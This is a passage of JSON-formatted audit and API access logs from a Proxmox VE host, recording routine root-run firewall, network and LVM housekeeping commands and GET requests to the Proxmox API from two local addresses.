a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65705 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964484700,"@rawstring":"node=pve type=EXECVE msg=audit(1781964484.700:61209): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781965339125,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:22:18 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1098"} {"@timestamp":1781966095822,"@rawstring":"node=pve type=EXECVE msg=audit(1781966095.822:68410): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964680271,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964680.271:62133): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954af0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59591 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965357729,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965357.729:65272): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899566b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62698 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964085889,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964085.889:59520): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57163 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966095863,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966095.863:68419): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65704 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964484547,"@rawstring":"node=pve type=EXECVE msg=audit(1781964484.547:61208): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965338117,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:22:17 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 913"} {"@timestamp":1781966095813,"@rawstring":"node=pve type=EXECVE msg=audit(1781966095.813:68409): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964680270,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964680.270:62132): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954af0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59591 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965357720,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965357.720:65270): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899565f0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62697 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964085883,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964085.883:59519): arch=c000003e syscall=59 success=yes exit=0 a0=6163e8448ed0 a1=6163e8445c50 a2=6163e8427680 a3=5 items=2 ppid=57156 pid=57162 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966095859,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966095.859:68418): arch=c000003e syscall=59 success=yes exit=0 a0=592b85188d70 a1=592b85194b70 a2=592b85162680 a3=5 items=2 ppid=65697 pid=65703 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781964484540,"@rawstring":"node=pve type=EXECVE msg=audit(1781964484.540:61205): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965338117,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:22:17 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1087"} {"@timestamp":1781966095373,"@rawstring":"node=pve type=EXECVE msg=audit(1781966095.373:68408): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964680259,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964680.259:62130): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59590 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965357720,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965357.720:65269): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899565f0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62697 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964085880,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964085.880:59518): arch=c000003e syscall=59 success=yes exit=0 a0=6163c4cefac8 a1=7ffe7bb37f10 a2=6163e8427680 a3=6163c4cd324e items=2 ppid=57156 pid=57158 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966095855,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966095.855:68417): arch=c000003e syscall=59 success=yes exit=0 a0=592b56c4cac8 a1=7ffebe379960 a2=592b85162680 a3=592b56c3024e items=2 ppid=65697 pid=65699 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781964479529,"@rawstring":"node=pve type=EXECVE msg=audit(1781964479.529:61202): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965338117,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:22:16 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 509"} {"@timestamp":1781966095365,"@rawstring":"node=pve type=EXECVE msg=audit(1781966095.365:68405): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964680259,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964680.259:62129): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59590 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965355566,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965355.566:65265): arch=c000003e syscall=59 success=no exit=-2 a0=7ffc4044ad90 a1=5e99016c7200 a2=5e99016a5680 a3=5 items=1 ppid=62690 pid=62691 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964085879,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964085.879:59517): arch=c000003e syscall=59 success=yes exit=0 a0=7ffe7bb37ed0 a1=6163e842e310 a2=6163e8427680 a3=5 items=2 ppid=57156 pid=57157 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966095854,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966095.854:68416): arch=c000003e syscall=59 success=yes exit=0 a0=7ffebe379920 a1=592b85184410 a2=592b85162680 a3=5 items=2 ppid=65697 pid=65698 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781964479523,"@rawstring":"node=pve type=EXECVE msg=audit(1781964479.523:61199): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965336119,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:22:15 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 879"} {"@timestamp":1781966094697,"@rawstring":"node=pve type=EXECVE msg=audit(1781966094.697:68402): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781964675285,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964675.285:62117): arch=c000003e syscall=59 success=no exit=-2 a0=7fffbf3f8c30 a1=57bf6b05a200 a2=57bf6b038680 a3=5 items=1 ppid=59580 pid=59581 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965355450,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965355.450:65247): arch=c000003e syscall=59 success=no exit=-2 a0=7fff3db4bb10 a1=57f9b1dc3310 a2=57f9b1dbc680 a3=5 items=1 ppid=62671 pid=62672 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964085876,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964085.876:59515): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=57156 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966095850,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966095.850:68414): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=65697 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964475675,"@rawstring":"node=pve type=EXECVE msg=audit(1781964475.675:61196): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965336119,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:22:15 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 505"} {"@timestamp":1781966094666,"@rawstring":"node=pve type=EXECVE msg=audit(1781966094.666:68401): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781964675249,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964675.249:62108): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59574 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965352711,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965352.711:65237): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789956530 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62661 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964085868,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964085.868:59514): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57155 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966095843,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966095.843:68413): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65696 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964475671,"@rawstring":"node=pve type=EXECVE msg=audit(1781964475.671:61195): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965336119,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:22:15 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781966090351,"@rawstring":"node=pve type=EXECVE msg=audit(1781966090.351:68400): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964675249,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964675.249:62107): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59574 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965352711,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965352.711:65236): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789956530 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62661 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964085861,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964085.861:59513): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57154 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966095836,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966095.836:68412): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65695 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964475670,"@rawstring":"node=pve type=EXECVE msg=audit(1781964475.670:61194): argc=1 a0=\"date\""} {"@timestamp":1781965336119,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:22:14 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1098"} {"@timestamp":1781966090339,"@rawstring":"node=pve type=EXECVE msg=audit(1781966090.339:68397): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964675241,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964675.241:62103): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59572 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965352702,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965352.702:65234): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789956470 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62660 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964085857,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964085.857:59512): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0ffcd0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57153 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966095829,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966095.829:68411): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0da010 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65694 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781964475666,"@rawstring":"node=pve type=EXECVE msg=audit(1781964475.666:61192): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965334695,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:22:13 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 503"} {"@timestamp":1781966085800,"@rawstring":"node=pve type=EXECVE msg=audit(1781966085.800:68394): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964675241,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964675.241:62102): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59572 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965352702,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965352.702:65233): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789956470 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62660 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964085850,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964085.850:59511): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0debc0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57152 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966095822,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966095.822:68410): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc136530 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65693 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781964475660,"@rawstring":"node=pve type=EXECVE msg=audit(1781964475.660:61191): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965334695,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:22:13 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 930"} {"@timestamp":1781966085797,"@rawstring":"node=pve type=EXECVE msg=audit(1781966085.797:68393): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964675205,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964675.205:62093): arch=c000003e syscall=59 success=no exit=-2 a0=7fff6a1d0100 a1=5e70f68f8310 a2=5e70f68f1680 a3=5 items=1 ppid=59559 pid=59560 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965347691,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965347.691:65230): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899563b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62658 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964085843,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964085.843:59510): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc12d8c0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57151 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966095813,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966095.813:68409): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0e6760 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65692 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781964475654,"@rawstring":"node=pve type=EXECVE msg=audit(1781964475.654:61190): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965334695,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:22:13 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1116"} {"@timestamp":1781966085795,"@rawstring":"node=pve type=EXECVE msg=audit(1781966085.795:68392): argc=1 a0=\"date\""} {"@timestamp":1781964670233,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964670.233:62078): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59547 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965347691,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965347.691:65229): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899563b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62658 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964084791,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964084.791:59509): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d5fe5c30 a1=64f8d73e1610 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=57150 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966095373,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966095.373:68408): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=65691 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964475647,"@rawstring":"node=pve type=EXECVE msg=audit(1781964475.647:61189): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965333099,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:22:11 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1101"} {"@timestamp":1781966085790,"@rawstring":"node=pve type=EXECVE msg=audit(1781966085.790:68390): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964670233,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964670.233:62077): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59547 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" 